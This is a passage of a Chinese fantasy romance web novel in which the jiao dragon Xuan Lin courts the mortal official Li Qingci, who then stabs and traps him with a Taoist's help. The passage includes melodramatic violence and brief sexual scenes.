扣在他后颈的手掌慢慢加深力道,舔舐他的唇舌不再轻柔,暗金色眼睛里的温柔被暗沉取代。 玄鳞猛地搂紧李青辞,扣住他的腰身往自己身上压。 正当玄鳞的眼神逐渐迷离时,他在嘴里尝到了一股苦涩的味道。 玄鳞眨了眨眼,凝起神来。 李青辞哭了。 哭得很平静、很沉默,他紧紧闭着眼睛,无声地流着泪。 玄鳞慌了,满心茫然无措,他急忙给李青辞擦眼泪:“这是怎么啦?啊?好端端的哭什么?我给你舔疼了吗?” 李青辞抬手罩住脸,像是一同遮盖了内心的难堪。 他一直坚守着自己的自尊,想等到和玄鳞心意相通的时候,再做这些亲密的事,可是从十七岁,等到三十二岁,他也没等来,而自己的自尊却在一步步崩塌。 等到现在的结果,跟之前没有什么两样。 如果只是为了亲吻,那么他在十七岁的时候就可以和玄鳞这样亲,而且还可以做更亲密的事。 他忽然觉得自己之前的那些坚持,都是自欺欺人,可笑至极。 玄鳞见他一直不说话,越哭越凶,看起来伤心极了,忍不住急躁:“你说话呀,到底怎么了?为什么哭?” 李青辞哽咽到说不出话来,只摇了摇头。 玄鳞给他擦了擦眼泪,低声问:“是不想我疼你吗?” 李青辞用力摇头,压住喉间的哽咽:“不是,想要你疼我。” 只是,我还想要你爱我。 他终究是凡夫俗子,逃不开、避不过,贪心一事。 玄鳞垂着眼皮,很轻的问询里透着迷茫:“那你为什么哭呢?” 李青辞抹了两把眼泪,笑着说:“你第一次这么疼我,我太高兴了。” 玄鳞扯了扯嘴角,却没能笑得出来,他抚着李青辞的眼皮,声音听不出喜怒:“我很像傻子吗?用这种谎话骗我。” “不是,我是真的很高兴。”李青辞语气急切起来,怕玄鳞不相信他,急忙凑在他下巴舔了两下。 玄鳞沉默不语。 李青辞又舔了下:“有一个词叫喜极而泣,就是人太高兴的时候会哭出来,我现在就是这种情况。” 玄鳞瞥了他一眼,暗沉的神色有所缓和。 李青辞没有说谎话,他是真的很高兴,凑过去跟玄鳞贴了贴脸:“我不是傻子,我知道你对我的好,你现在真的好疼我呀,我是真的真的很开心!” 玄鳞别开脸哼了一声:“真的?” 李青辞立刻举起手发誓:“真的,比真金还真!如果我骗你,就让我一辈子都吃不到好吃的。” 玄鳞压住嘴角的笑意,语气听起来不太情愿的样子:“算了,勉强相信你。” 李青辞捧着他的脸,笑着舔了一下他的下巴。 玄鳞绷不住了,一把搂住李青辞,重重揉他的腰,狠狠吮了下他的脸蛋,嘬出一片淤红来,又舔了两下。 李青辞全程都很乖顺,甚至往前倾身,主动把自己送进玄鳞怀里,嘴里一直溢出轻盈的笑声。 听着玄鳞心花怒放,简直都不知道该怎么疼这个乖崽子了。 他摸摸李青辞的手,又摸摸他的脸,舔了舔他的嘴唇:“哎哟,我们小??崽儿怎么长的,真好,真乖,真可心!” 玄鳞的喜爱溢于言表,李青辞当然能感觉出来。 玄鳞这么宠他、爱他、纵着他,应该会原谅他吧。 李青辞盯着玄鳞的眼睛,心想,他其实不贪心的,这条蛟有上万年的漫长生命,他只要二三十年。 很短的,也就玄鳞睡几次觉的功夫。 李青辞跟他贴了贴脸,轻声问:“玄鳞,你现在愿意陪我一辈子吗?” 玄鳞想了想,如果他今后漫长的生命里,身边都有这么一个可心的乖崽子。 “哈哈哈哈哈哈哈哈…………” 玄鳞把自己想笑了,他捧着李青辞的脸,笑着点头:“我愿意。” 李青辞也笑得很开心,两人额头相抵。 虽然心思各异,但是笑声很和谐地掺杂在一起。 从这以后,玄鳞隔三差五的就要疼李青辞,一天最起码疼个十几遍。 李青辞有时候心情平淡,有时候玄鳞疼狠了,他就耐不住,总是起火。 大冬天的,他也不敢洗冷水澡,怕生病,只好自己闷在浴桶里解决。 这天。 都水司要为一位新升任的员外郎庆功,李青辞身为主官,要彰显自己的态度,无法推脱。 他走到马车前跟玄鳞解释:“这顿饭没有一个时辰下不来,就跟我每天吃完饭到院里散步,然后去浴房洗漱再到躺床上这段时间差不多,总之需要很久,你先回家吧。” 玄鳞皱眉,两口气儿的功夫,哪就久了。 小崽子别是诓他,自己一个人去干坏事吧。 他伸手拍了拍李青辞的脑袋:“别废话,上来,我送你过去,然后在车里等你。” 李青辞无奈,只好上车。 他让玄鳞回家,并不是担心他等急了,而是他这次应酬必须要喝酒,他原想着自己少喝一点,到家前,好好漱漱口、吹吹风,去了身上的酒气。 既然这样,他只能实话实说了:“玄鳞,我这次去吃饭,无法避免一定要喝一点酒。” 玄鳞听完冷哼一声,一副我早就料到的神情,眼神不善地戳了戳他的脑门。 李青辞立刻抱住他的手:“我就喝两口,很小的两口,好不好?” 玄鳞冷着脸不说话。 李青辞当他默认了,凑过去贴他的脸,笑道:“玄鳞你真好,真大度!真开明!” “少拍马屁,敢跟上次一样喝那么多回来,我扇烂你的屁股。” 李青辞保证:“我知道,我一定不会喝多的,这次没有人敢劝我喝酒。” 玄鳞没说话,攥住他的手腕一扯,李青辞顺从地坐在他腿上,搂住他的脖子,笑着舔他的下巴。 见李青辞这么乖顺,玄鳞不仅没有放心,反而更加怀疑了。 李青辞下了马车之后,玄鳞的视线就一直落在他身上,一瞬都没有移开过。 包房里推杯换盏,酒气熏天,言语声嘈杂,李青辞从始至终就只喝了两杯酒,身边没有人敢把手搭在他肩膀上。 玄鳞这才放下了心,不过视线依旧落在李青辞身上。 这时,一缕妖气溢散到附近,同时伴随着一道极其尖锐高亢的声音。 玄鳞皱起眉头,这什么死动静,嚎得这么难听! 有妖在吃人吗? 他顿了顿,移开视线,循着声音过去。 只见两个赤裸的人,上下交叠在一起。 玄鳞眯了眯眼,上头那个浑身散发着一股妖气,是个刚化形不久的蛇妖。 那道难听的声音就是底下那人发出来的。 玄鳞嫌弃地瞥了一眼,正当他要收回视线时,底下那人突然转了过来,正面朝上,双手抱着腿。 腿。中间的东西,明晃晃昭示着他是一个公的。 那个蛇妖也是公的。 在这一刹那,玄鳞怔住了,像是从天而降一道惊雷,直直劈在他头顶。 劈散了他心中的迷雾,劈散了他多日以来遗憾和不甘。 暗金色的圆瞳瞬间变成鎏金色竖瞳,一瞬不瞬地盯着屋里那两人看。 底下那人高昂着下巴:“郎君,我好爱你,亲亲我!” 蛇妖低头亲在那人嘴上,双手掐着那人的腰,声音里满是笑意:“我的心肝宝贝儿,真会夹,我也爱死你了。” 爱? 爱。 对呀,是爱! 玄鳞恍然大悟,原来是爱。 他对李青辞的疼爱里也有这种爱。 他和蛇妖都是公的,李青辞和底下那人都是凡人,也都是公的。 既然蛇妖可以,那他也可以。 玄鳞不可自抑地笑了出来,笑容带着疯狂。 原来他早就找到自己的雌兽了,还是他一直以来最疼爱的小崽子。 原来除了化为原形交尾,公的和公的也能做这种事,小崽子真的可以接纳他。 他原以为自己已经够疼、够爱李青辞了,其实不是的,还远远不够,他还可以再疼李青辞、再爱李青辞一些。 他们之前那样还是不够亲,现在他们可以更亲了。 心中的迷障被破开,玄鳞彻底明白过来,心中升腾着一股剧烈的、如同翻江倒海般的喜悦。 虽然他下意识对李青辞做了很多求偶的行为,但当时的他,是迷茫困惑的,李青辞是一无所知的。 从今以后,他可以光明正大地跟李青辞求偶,而他的求偶会被李青辞完全接纳。 太好了! 在这一瞬间,玄鳞体会到了李青辞说的喜极而泣,原来是这种感受。 他活了近千年,终于找到了自己的雌兽,他终于要被接纳了。 玄鳞迫不及待,立刻朝李青辞奔去。 房门被猛地推开,发生发出刺耳的咯吱声。 屋内众人的动作,都有一瞬间的停滞,纷纷望向门口。 李青辞也不例外,当他的视线移过去时,不由得愣住。 玄鳞满眼温柔笑意,朝他招手:“李青辞,过来。” 李青辞丝毫没有犹豫,站起身来朝众人致意:“我家里还有事,先行一步。” 言罢,他当即转身,握住玄鳞伸出的手。 随着年龄的增长,他的心境早就发生了变化,他现在压根不在乎别人的眼光,他不想唯唯诺诺,不想躲躲闪闪,他只想珍惜和玄鳞在一起的每个瞬间。 第62章 小崽儿,你要杀我吗?…… 李青辞合上房门,随着玄鳞往楼下走。 等他们上了马车,李青辞才开口询问:“怎么了?” 玄鳞没说话,目光灼灼地盯着他。 暗金色眼睛里的爱意如同天上的太阳,强到刺眼,让人无法忽视。 可是李青辞一直沐浴在阳光下,他第一时间并没有反应过来。 这时,他额头被亲了一下。 是的,是亲。 不是舔,不是磨。 是一个实实在在的亲吻。 李青辞眼神迷茫。 玄鳞又亲了一下他的嘴唇。 亲完之后,玄鳞莫名有些紧张,这是他第一次求偶。 即使李青辞可能不了解蛟是怎样求偶的,但他还是想郑重一点。 两人视线相对,黝黑的眼睛里满是茫然和恍惚,暗金色的眼睛里则藏着忐忑和紧张。 玄鳞急促滚了滚喉结,他双手捧住李青辞的脸:“小崽儿,你等我一会儿,我回家拿一个很重要的东西,很快就回来给你。” 李青辞立刻抓住他的手,顾不得其他杂思,直接跨坐在他身上:“我不要,你别走。” 玄鳞一听急了:“不行,你必须要!你乖乖在家等我,我很快就回来,啊!” 李青辞扒住他不放,声音尖锐起来:“我说了我不要!再好的东西我都不要!我只要你!” 玄鳞满心火急火燎,只想立刻飞奔回家,拿到东西回来给李青辞。 他急急哄了两句:“你乖,我知道小崽儿最乖了,听话一点,我真的很快就回来。” 不等李青辞再开口,他整个人被扯了起来,放到马车后座。 下一瞬,车里的黑色人影就消失不见了。 李青辞已经到嘴边的挽留话语,只能原路返回强行咽下,像是咽了一口掺着碎瓷片的渣子一样。 他伸手捂住脸,深深佝偻着腰。 又走了。 又是这样,根本不容他反驳,每次都无视他的挽留。 好累啊,他真的好累啊! 他没有那个心力也不舍得再空等了。 他的时间真的很有限。 …… 夜黑风高,无星无月。 一条黑蛟欢快地甩着尾巴在云层中穿行。 明明一身黑漆漆的,却能从他身上看出兴高采烈。 东方亮出鱼肚白,黑蛟一跃而下,那么庞大的身躯却没有溅起一点水花,悄无声息地钻入一条清澈的大江中,继续向前游行。 黑色长条游动的身影极快,如闪电一般。 玄鳞一口气儿都没歇着,直奔他的巢穴。 前方灵气浓郁,高大的山脉绵延不断,两三人合抱的树木独木成林。 黑蛟径直飞向那座最高峰,悬在山头飞了好几圈,发出一阵阵吼声。 兴奋欢乐的蛟吟,惊飞了枝头的小雀妖们。 玄鳞潜入深涧,搬开一座大石头,露出底下的浅坑。 尾巴尖儿卷起坑里的东西,玄鳞破水而出。 他正想返回去,突然想起来小崽子的那颗夜明珠碎了。 现在天一黑,小崽子吃完饭就要坐在桌前看书写字,眼睛总是干涩,虽然他舔几下,小崽子也能好,但是用眼的时候还是得遭罪。 想到这儿,玄鳞摆动尾巴,调转方向。 蛟龙入海。 玄鳞在海里搜寻许久。 他想给小崽子找一颗最大、最亮的珠子,可惜碰见的这些都是小蚌精,里头含着的珠子很小,也不甚明亮。 他要给小崽子最好的。 玄鳞摆动尾巴,继续往深海游去,终于他找到了一个足有小崽子那么宽的蚌精。 他抽动尾巴甩在蚌壳上。 蚌壳紧紧闭着,庞大的身躯连连往后缩。 玄鳞不耐烦了:“我不吃你,你里头有没有珠子?有的话给我,别逼着我硬掰。” 话音刚落,庞大的蚌壳刷地一下打开了,露出里面璀璨的明珠,周围黑暗的海域都被它照亮。 玄鳞用尾巴卷住这颗跟小崽子脑袋差不多大的明珠,心满意足地打道回府。 他在山里游荡一圈儿,挑了一些灵气充足、味道好的果子装在身上,迫不及待地回去找小崽子。 …… 李青辞坐在人群中参加宴席,他举杯庆贺,一位同僚喜得长孙。 这位同僚今年三十五岁,只比他大一岁,可这位同僚如今夫妻和睦,儿孙满堂。 李青辞望着热闹非凡的宴席,听着耳畔的欢声笑语,心中升腾起浓浓的落寞和孤寂。 那个说很快就回来的男人,一走两年,了无音讯。 李青辞摸着腕上的珠串,心想,最后一次了,等就等吧。 散席后。 李青辞没坐马车,自己一个人沿着河边慢慢走着,散散酒气。 “又喝酒了,真是不听话!” 一道训斥的声音响起,尾音却泄出浓浓的笑意来。 李青辞怔了怔,抬眼望去。 视线还未凝神,他整个人就落入了一个宽阔的怀抱里。 玄鳞抱着他,狠狠揉着他的腰,发出畅意的喟叹:“我的小崽儿啊,让我好好抱抱。” 潮热的气息打在颈侧时,李青辞才终于回过神来,他伸手回抱这个男人。 玄鳞扫了一眼四周,心里厌烦极了,怎么这么多人。 他牵着李青辞的手往前走:“算了,先回家吧。” 李青辞扯住他的手,调转方向:“不去那个家了,去我们的新家。” 玄鳞眼睛一亮:“是你之前说给我弄湖的那个家吗?” 李青辞点头。 玄鳞开心极了:“这么快就好了,真好,正好派上用场。” 他不用再筑新巢了。 李青辞也笑了笑:“是啊,终于派上用场了。” 玄鳞的脚步越走越急,跟有烈火烧他的尾巴尖儿一样,整条蛟透出一种火急火燎的状态。 李青辞倒是面色平淡,似乎一点都不着急。 两人踏入霖泽园的大门,刚走没两步,玄鳞吸了吸鼻子,疑惑道:“这院子里边什么味儿啊?我怎么闻着这么奇怪?” 李青辞语气平静:“可能最近天气湿热,房子反潮有些味道,过段时间就好了。” 玄鳞又嗅了嗅,没闻出什么来,他很快就忽略了这件事情,兴冲冲地拉着李青辞往屋里走。 一进屋,玄鳞就双手捧着李青辞的脸,满眼笑意地看着他。 李青辞也冲着他笑。 玄鳞忽觉不对,他摸了摸李青辞的脖子:“我给你的那片鳞呢?” 李青辞道:“弄丢了,没找回来。” 赵玄真师傅撑不住了,赵玄真跪在他身前苦苦求他,拿着雷击木以死相逼,他没办法,只好把那片鳞给赵玄真炼丹。 玄鳞听完脸色沉了下来,有些不高兴:“你怎么回事?我给你的鳞片怎么能弄丢?” 李青辞没有解释,只说了一句:“对不起。” 玄鳞郁闷一下,也没再计较,弹了下他的脑门:“我再给你一片鳞,你一定要戴好,不能再弄丢了。” 李青辞摇头:“我不要你的鳞片。” 玄鳞给他的鳞片也好,明珠也好,他拿到的时候是很开心,可其实对他而言,这些东西只是死物,根本无足轻重,他只想要这个男人。 他不想玄鳞出去给他找吃的,不想要他带回来的各种东西,他只希望玄鳞能一直陪在他身边。 “不行,你必须要!”玄鳞强硬的语气里带着一丝不明显的忐忑和紧张。 李青辞闭了闭眼,无奈地叹息:“好。” 话音刚落,他的眼睛就被捂住了,不过一瞬,重新恢复光明。 玄鳞手上拿着一个黑色细绳,底下坠着一片月牙状的浅白色鳞片。 他脸色绷得很紧,举着有些僵硬的手,把这片套在了李青辞脖子上,动作和神情都十分郑重。 李青辞摸着脖子上的鳞片,诧异道:“这片鳞怎么是这样的?” 玄鳞抿着嘴没吭声,从身上掏出一大堆果子,桌上都搁不下了。 李青辞忍不住皱眉:“这么多,得吃多久啊?” 玄鳞继续往外掏东西。 李青辞震惊得瞪大眼睛,低头看着手里的东西,这个他认识,应该是夜明珠,不过也太大了吧。 他抿了抿嘴,小声道:“玄鳞,这个好沉呀,我捧得手腕酸。” 玄鳞赶紧接过他手里的珠子,随手扔在桌子上。 紧接着,他深吸一口气,掏出一个黑褐色木棍似的东西,搁在李青辞手心里。 触手凉润坚硬,李青辞看着手里的东西,问道:“这个是什么呀?树枝吗?还是石头?” 玄鳞攥了攥手,捧住李青辞的脸。 现在他的逆鳞,他的初角,都给李青辞了。 玄鳞凑过去,亲了亲李青辞的额头:“你的角好漂亮呀!” 李青辞一头雾水,下意识去摸自己光秃秃的脑门:“我头上没有长角啊。” 玄鳞笑着说:“我知道。” 他又亲了亲李青辞的额头,重复道:“你的角好漂亮呀!” 李青辞愣住了,脑海里有什么东西快速闪过。 这时,玄鳞把他抱在身上,手掌攥了攥他的小腿:“我喜欢你的尾巴。” 李青辞倏然心头一颤,他哑着嗓子开口:“我没有尾巴。” 玄鳞亲了下他的嘴唇:“我知道,可是我喜欢你的尾巴。” 李青辞对上那双暗金色的眼睛,瘪了瘪嘴,垂下眼皮,登时留下两行泪珠。 他搂着玄鳞的脖子,大哭起来。 “这是怎么了?啊?小崽儿你怎么了?”玄鳞的语气听起来急得不行,他抱着李青辞又拍又哄的“乖,不哭了,怎么了呀?为什么哭?是不想答应我的求偶吗?” “……不是!”李青辞忍着哽咽,当即开口,“我答应,你的角很漂亮,我很喜欢你的尾巴!” 玄鳞松了一口气,僵硬的脊背放松下来,他捏了捏李青辞的脸:“那你这是喜极而泣吗?” 李青辞抹着眼泪点头:“是。” 第一次求偶就被接纳,玄鳞开心死了! 他现在脑袋晕乎乎的,笑得眼睛眯成一条缝,抱着李青辞走到床边,往后一倒,压在李青辞身上,紧紧搂着他,下巴压在他头顶磨蹭,然后在他脸蛋上重重亲了几口。 李青辞异常顺从,凑过去舔玄鳞的下巴。 玄鳞浑身的鳞片都要炸开了,满腔的开心难以言喻,他亲李青辞的脸,亲他的额头,亲他的鼻尖儿,亲他的嘴唇,最后在他脖子上轻轻咬了一口。 “我的小崽儿啊,我都不知道该怎么疼你了,你真是我的心肝肉,大宝贝儿!” 玄鳞搂着人欢喜得不行,尾巴都窜出来了,幸好他没有太得意忘形,赶紧收了回去。 李青辞搂着玄鳞,慢慢翻身,想将他压在身下。 “我压着你了?”玄鳞干脆搂着李青辞的腰,翻身平躺,将人搁在身上。 他摸着李青辞的腰和腿,感叹道:“你是有点小了,还轻,不禁压,也不禁缠,不过没关系,我可以轻点来。” 李青辞没说话,从头上拔下来一根木簪子,握在掌中。 他盯着玄鳞的眼睛说:“你刚刚说不知道怎么疼我了,那我给你想一个,好不好?” 玄鳞很爽快地答应了:“好呀,你想要什么?我都给你弄来。” 李青辞没有说话,缓缓拉开他的衣襟,露出里面赤裸的胸膛。 玄鳞正沉浸在自己的畅想里,压根没注意到自己的衣裳被拉开了。 他单手枕在脑后,另一只手拍着李青辞的腰:“我之前去大西边,碰见一棵很大的树,上面结的果子特别甜,汁水很多,可惜要很久才结一次果,我刚刚算了算时间,差不多快熟了,一会儿我去给你摘回来,你肯定喜欢吃。” 李青辞攥了攥颤抖的手,这个果子他这辈子是没机会吃了。 只要他活着,玄鳞以后哪都别想去了。 李青辞深深吸了口气,抬手遮住玄鳞的眼睛。 玄鳞语气诧异:“你捂我的眼干什么?” 李青辞没说话,舔了一下他的下巴。 玄鳞顿时笑了起来。 李青辞视线下移,落在那片胸膛上,心口处有个浅粉色的月牙印记。 李青辞低头看着自己胸前垂落的鳞片,突然明白了这片鳞是什么。 这一瞬间,他想哭又想笑。 做了这么多准备,床底下贴了三百多张符,院内、院外布的繁复阵法,估计都用不上了。 他低头,亲在那片印记上。 胸膛猛地起伏,响起一声低喘。 玄鳞额头爆出青筋,声音沉哑:“小崽儿,你别乱亲。” 李青辞乖乖答应:“好。” 他握紧手里用雷击木做的木簪,尖端抵在那处印记上。 这根簪子在他头上戴了一年多,浸满了他的气息,果然,玄鳞并没有察觉,丝毫没有抵触。 他捂着玄鳞的眼睛没松,低头亲在他唇上。 李青辞闭上眼睛,右手按了下去。 几乎没有受到阻碍,毫不费力。 寂静中,响起一道闷闷的噗嗤声。 是血肉被穿破的声音。 李青辞伏在玄鳞身上,整个人抖若筛糠,心里既是痛苦又是解脱。 一股血腥味儿弥散开来。 玄鳞觉得不太对,直到心口传来一阵尖锐的疼痛时,他还没意识到是怎么回事。 眼睛上的手掌挪开了,映入眼帘的是一张苍白的脸。 嘴唇毫无血色,眼圈很红的样子。 玄鳞以为这双眼睛又要落泪,但是盯了一会儿,发现并没有。 李青辞松开手,从他身上起来,坐到一旁,低着头说:“我想好要什么了,我要你一辈子陪着我,其实很快的,真的很快,到时候你想去哪去哪。” 玄鳞不明白他在说什么,怔怔地看着自己的心口,上面插着一根木刺。 他刚拔下的逆鳞上插着一根木刺。 他拔下的逆鳞套在这个人脖子上,木刺也是这个人捅下去的。 玄鳞满心茫然,甚至都没想起来愤怒,他看着缩成一团的人影,语气迷茫极了:“小崽儿,你在做什么?” 李青辞腰身愈发佝偻,不敢抬头去看。 玄鳞伸出手去拉他,结果发现自己完全不能动弹。 他想逼出心口那根木刺,这才发现,那根木刺竟然是由雷击木做的,上面刻了许多禁锢的道术。 玄鳞眼中的迷茫散去,被惊愕和愤怒取代。 他不可置信地看着李青辞:“小崽儿,你要杀我吗?” “当然不是!”李青辞立刻大声反驳,随即依旧侧对着他,低声喃喃:“我只是想抓你,我不想再等你了,我想把你留在身边,一直陪着我。” 玄鳞彻底愤怒起来,他一直陪着李青辞,到头来竟然得到这么一个荒唐敷衍的答案。 骗子!他们凡人全是骗子! 是他瞎了眼! 李青辞跟那些人一样,都不是好东西!” “李!青!辞!” 满是怒火的嘶吼声听起来简直让人肝胆欲裂。 玄鳞猩红着双眼,拼命挣扎,想把那根刺逼出来,可惜无济于事。 “李青辞!我怎么会喜欢你这个没心肝的玩意儿,我真想活撕了你!” 李青辞心头猛颤,转头扑在他身上,去搂他的脖子,哀声道:“你别这样说。” 玄鳞动不了,连偏过脸都做不到,只能转动眼珠不看他:“滚!你给我滚!别挨着我,你让我恶心!” “别生气,别说这样的话。”李青辞去舔他的下巴,“你喜欢我的,你都向我求偶了,你不能说话不算话,你就留在这里陪我一辈子,好不好?真的很快,到时候我就放你走。” 玄鳞现在不相信他的任何话:“你抓到我想要做什么?是要喝我的血?还是要吃我的肉?还是要剖了我的丹用来炼丹?” 李青辞看着那根木簪,正在心里快速计算时间。 听完这番话,他瞪大眼睛,错愕看着玄鳞:“你怎么能这么想我,哪次喝血不是你喂我喝下去的,我有主动向你要过吗?玄鳞!我们认识二十年了,我有主动要向你要过什么吗!” 玄鳞错开眼神:“谁知道你是不是放长线钓大鱼,就是为了以待今日,好让我放松警惕,抓到我肆意处置!” 李青辞胸口急促起伏,他快速抹了把模糊的眼睛:“我捅你这一下是我不对,可是你怎么能这么想我,我要你的血、要你的肉有什么用!我只想要你,你怎么就不明白呢!你总是要走,连挽留的机会都不给我。” 言辞愈发激烈。 “玄鳞,我等不起了!我不想等!也不舍得等!” 怒意上头,李青辞扯下脖子上的鳞片,砸在玄鳞身上:“我根本就不稀罕你这些东西!” 轻飘飘没什么重量的鳞片落在玄鳞身上,却如一座山岳倾轧,将他砸得粉碎。 他怀揣着满腔心意,无比郑重送出去的逆鳞,就这么被人随手丢弃。 玄鳞疲惫地闭上了眼。 心口落下来一滴滚烫,李青辞哭着从他身上拿走鳞片,套在脖子上,小心地塞进衣襟里。 “这是你的逆鳞对不对?是你们蛟定情用的吗?对不起,我刚刚不该说那句话,我还是很稀罕的,可是我更喜欢你。” “玄鳞,你这次原谅我吧,我让你捅回来,你怎么打我都行,就留在这里陪着我吧,我们好好过日子,要不了多久,我就让你走,好不好?” 玄鳞闭着眼没作声。 李青辞握住他的手,哭着解释:“你相信我,我不会害你的,更不会委屈你,家里的房子建得很大、很漂亮,这张床也很大,用得都是好木料,你能感觉出来的,对不对?湖挖得很深,水也很清澈,我全程都盯着,不比外面的河差。” 玄鳞心里只觉荒谬。 身边这个人,刚接受了他的求偶,抱着他,对他又亲又舔,嘴里说着各种撒娇卖乖的话,转过头,却在他心口的逆鳞上狠戳一下,说要抓他。 而他的逆鳞刚扒下来,套在这个人脖子上,伤口都还没有好全。 明明受伤的是他,可是这个人哭得却很伤心,又委屈又难过。 玄鳞满心茫然,除了迷茫还是迷茫。 渐渐,他的意识开始昏沉。 他想起了他娘当初的下场。 这次睡过去,他还有机会再醒来吗? “玄鳞,你睁开眼看看我,好不好?我是抓你了,可是我并不想害你,你相信我好不好?我也很爱你的。” 也。 是啊,他也很爱这个人。 疼爱一场,换来这个结果。 脸上啪嗒啪嗒落着滚烫的水珠,下巴被柔软的舌头反复舔舐。 “玄鳞,你不要不理我,跟我说句话,求求你了!” 滚烫的泪水持续落在玄鳞脸上,好像是他流出的泪一样。 一声很轻的叹息响起,暗金色的眼睛缓缓睁开。 李青辞痛哭起来,凑过去跟他脸贴脸:“我就任性这一次,以后都听你的,我什么都听你的,你别跟我生气。” 玄鳞闭了闭眼,神情似有妥协之色。 这时,一阵急促的脚步声传来,赵玄真一手提着桃木剑,一手握着法器,朝着室内急急匆匆走过来。 他开心呼喊:“太好了,李大人,你终于抓住这条蛟了,你先前给我的鳞片,时间放久了,炼的丹效果一般,我师傅撑不了多久了,你快再给我拔两片鳞,再给我半瓶血。” 李青辞翻身下床,扯着帷帐将玄鳞挡在身后,满脸阴寒地看着赵玄真:“滚出去!” 赵玄真站着不动:“你把血和鳞片给我,我立马就走。” 玄鳞听完只觉恍惚:“李青辞,你到底哪句话是真的,你不是说鳞片丢了吗?你嘴里还有没有实话!” 李青辞急急跟他解释:“有隐情,我回头跟你解释。” 平静的语气暴烈起来,几乎声声泣血:“李!青!辞!” “你和道士联手抓我,你要拔我的鳞、放我的血,去给别人炼丹!” 好不容易被安抚下来的凶兽彻底狂暴起来。 “李!青!辞!你又骗我!我要杀了你!” 李青辞听得心直揪得疼,眼泪不由自主地汹涌而出。 赵玄真惊呼一声:“快启动阵法,快!这条蛟要镇不住了。” 李青辞抄起烛台,狠狠砸在他身上:“再不滚,我屠了你的白云观!” 赵玄真看着满目煞气的李青辞,心有戚然,他吞咽两下,不甘愿地转身离去。 李青辞立刻转身,扑到玄鳞身上,急切解释:“我不会伤害你的,你听我解释,刚才那个道士我要利用他做事,他师傅被虎妖咬伤了,活不了太久,我就把你的鳞片给他炼丹了,但是你放心,我绝对不会拔你的鳞片。” 玄鳞双目赤红,完全听不见李青辞在说什么,意识越来越昏沉。 他脑中只有一个想法,那就是小崽子背叛他了。 小崽子和道士联手,要对他扒鳞放血。 他要走,他不要待在这里了。 这不是他的巢穴,这是他陨落的埋骨地。 “玄鳞!玄鳞你怎么了?嘴里为什么会流血?” 李青辞满心惊惶,用手去擦他的嘴角。 不可能啊! 雷击木只会暂时禁锢他的身体,不会对他造成其他伤害,嘴里怎么会流血。 不等李青辞再擦,他整个人被掀倒在地。 玄鳞不惜燃烧心尖血为代价,逼出了捅在他心口的那根刺。 “啪嗒”一声,那根簪子落在李青辞眼前。 玄鳞一眼也没看他,抬脚往外走。 李青辞爬过去,紧紧抱住他的腿:“别走,求求你别走,我知道错了,我不该骗你,我以后再也不对你说谎,你原谅我吧,玄鳞,求求你原谅我吧!” 玄鳞猩红的竖瞳满是空洞和木然,他抬脚踹开李青辞,径直往前走。 李青辞立刻从地上爬起来,哭喊着朝他跑过去:“玄鳞,你不能走!你不能走!” 玄鳞恍若未闻,掐诀施法遁去。 施出来的法术却撞在一堵无形的墙上,霎时间,整个屋子亮起密密麻麻的符纸,地上的缚龙阵涌出闪闪金光。 玄鳞站在门前的空地上,转身回望。 这就是李青辞说的新家,结果是给他建的一个笼子。 真是费尽心机,不知道李青辞从什么时候盘算着要抓他。 枉他活了千年,竟然看不穿一个小崽子。 第63章 第 63 章(加一更) 我就是不后悔…… 在玄鳞失神的间隙,李青辞来到他身前,伸手死死抱住他:“鳞片我已经给出去了,没办法要回来,我知道你听了会不高兴,所以我才想骗你。” “我知道错了,我真的知道错了!我以后再也不敢了,你原谅我吧,别走,不要生我的气,求求你了!” 满是惊惶的哭喊声,听着要多真诚有多真诚。 玄鳞闭上眼:“不要再装了,也不用害怕,我不会杀你的,你不用再费心思骗我。” 李青辞整个人剧烈颤抖,抱着他不受控地晃,急切地无助嘶喊:“没有!我没有在装!我再也不骗你了!我真的再也不敢了!” 玄鳞没再说话,扯开李青辞往一旁丢开。 他光滑的额头倏然生出一对尖锐的犄角。 细密的鳞片从他垂落的手背上渐次浮起,身上的黑色衣袍无风抖动,猎猎作响,浑身散发着一股极重的阴寒之气。 李青辞猜出了他的意图,意识到他要用角冲破法阵,急忙扑过去抱他。 可惜晚了一步,他扑了个空,整个人跌倒在地。 玄鳞浮在半空中,做出俯冲的姿态。 李青辞朝他大喊:“玄鳞不要!不要过去!你会疼的!会受伤的!” 玄鳞单手握拳,朝前猛地一击,一道浑厚的法术打在阵法上,顿时无数金光全都反噬在玄鳞身上。 玄鳞身形不动,咬牙硬扛,又挥出去两拳,等法阵出现一处薄弱时,他微微躬身,用角冲出去。 “玄鳞!!!” 一道声嘶力竭的哭喊,听起来撕心裂肺,几乎要呕出血来。 玄鳞闻到一股浓重的血腥味,他扭头看去。 李青辞握着簪子,正在往自己胸口捅第二下,浅碧色的衣衫上,殷红的血迹是那么刺眼。 他跪在地上,目光乞求:“玄鳞,你别过去,我真的不想伤害你,我已经捅回来了,你要是不解气,还可以再打我,求求你别走了,不要过去,你真的会受伤的。” 李青辞几乎哭成了一个泪人,眼睛红肿得只剩一条缝,身上血泪和尘土混在一起,他从来没有这么脏、这么惨过。 “别走好不好?你答应过我,要陪着我一辈子。” “你又说话不算话。” “你跟我求偶,我答应了,你不能抛下我。” 李青辞身上的血腥味越来越重,声音渐弱,脸色在一片金光中如白纸一样。 玄鳞转过头没再看他,伸手握拳,这次的蓄力持续很久。 “不能让他跑掉!”赵玄真从暗处走出,猛一扬手,一道符纸如利剑般朝玄鳞袭去。 玄鳞没能躲开,他闭上眼,手上泄力,意识彻底陷入昏沉,整个人从高处跌落。 “玄鳞!” 李青辞强撑着爬起来,快速跑过去接他! 玄鳞这么大的个子,又从高处坠落,真砸在李青辞身上,不把他砸死,也砸个半残。 赵玄真当即又扔过去一道符,缓住玄鳞下落的身形。 李青辞伸手抱住他,紧紧把人搂在怀里,轻轻拍他的脸:“玄鳞,你还好吗?能听见我说话吗?” 一片沉默。 赵玄真走过来,看着还在流血的李青辞,递给他一瓶伤药:“你先处理一下伤口吧。” 李青辞突然爆发了,他松开玄鳞站起来,猛地一拳砸在赵玄真脸上:“我操你祖宗!” “要是他有什么好歹,我把你剁碎了喂狗!” 赵玄真脸被打偏,嘴里溢出血腥味儿,他歪头看着李青辞,目光不可置信,掺杂着委屈。 “他是妖,畜生而已,你难道真喜欢他?” 话音刚落,赵玄真瞳孔猛地一缩,他立刻伸手拦住眼睛上方的簪子。 李青辞手里握着的簪子,离他的眼睛只差一线。 手臂被架住,李青辞调转手腕,朝下狠狠一捅,簪子没入赵玄真颈侧近半。 